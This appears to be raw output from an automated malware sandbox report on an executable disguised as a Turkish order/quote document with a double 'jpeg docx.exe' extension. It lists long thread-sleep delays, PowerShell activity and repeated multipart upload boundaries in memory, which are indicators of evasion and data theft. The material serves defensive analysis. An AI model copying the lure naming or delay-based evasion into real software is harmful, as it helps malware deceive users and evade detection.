Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 6192	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5576	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -23058430092136925s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 4052	Thread sleep count: 7806 > 30	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 4052	Thread sleep count: 2015 > 30	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -599641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -599531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -599420s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -599313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -599188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -599063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -598953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -598844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -598719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -598610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -598485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -598360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -598235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -598110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -597985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -597829s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -597689s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -597506s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -597328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -597203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -597094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -596984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -596875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -596766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -596641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -596516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -596406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -596296s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -596187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -596071s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -595953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -595844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -595734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -595625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -595516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -595406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -595297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -595188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -595078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -594969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -594844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -594735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -594610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -594485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -594360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -594235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -594110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -593985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe TID: 2404	Thread sleep time: -593860s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 599420	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 598953	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 598719	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 598610	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 598485	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 597829	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 597689	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 597506	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 597203	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 597094	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 596984	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 596766	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 596641	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 596516	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 596406	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 596296	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 596187	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 596071	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 595844	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 595516	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 595297	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 595188	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 594969	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Thread delayed: delay time: 593860	Jump to behavior

Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f43e042fb7c70e
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f1a9c5b2a0d0e2
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------902b4ac0ffc7e23<
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f5ab4bf0cd4ab6
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------9000f2f6e2f4c2a<
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------9037e9d1554691d<
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f6ddb2ae611979
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------902ec8220d262b3<
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f558e7f3e76945
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4582180105.000000000632E000.00000004.00000020.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575088351.0000000001026000.00000004.00000020.00020000.00000000.sdmp, fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4582957190.00000000063C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f725a67cd287d8
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f66406c3be5cae
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8fcc59c8201717b<
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8fe3ab698f54cb4<
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8fda5ef28f54896<
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f220d46c89f789
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------90089b90872b3d0<
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f47fce1902d5c3
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------9017309b5076438<
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8fa06a133416931<
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f7cfbc6d3c9e28
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f2e84862286ab6
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f84c792e37fe37
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f919020e5a06cf<
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8fb4d05027a1efb<
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f1701dc40a4a48
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------900fbfe1e3d7044<
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8feb2081cc9b540<
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8fd3b0f668e39e5<
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f1ff679d29a613
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4575972771.0000000002DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8f1e4e659fac8bc
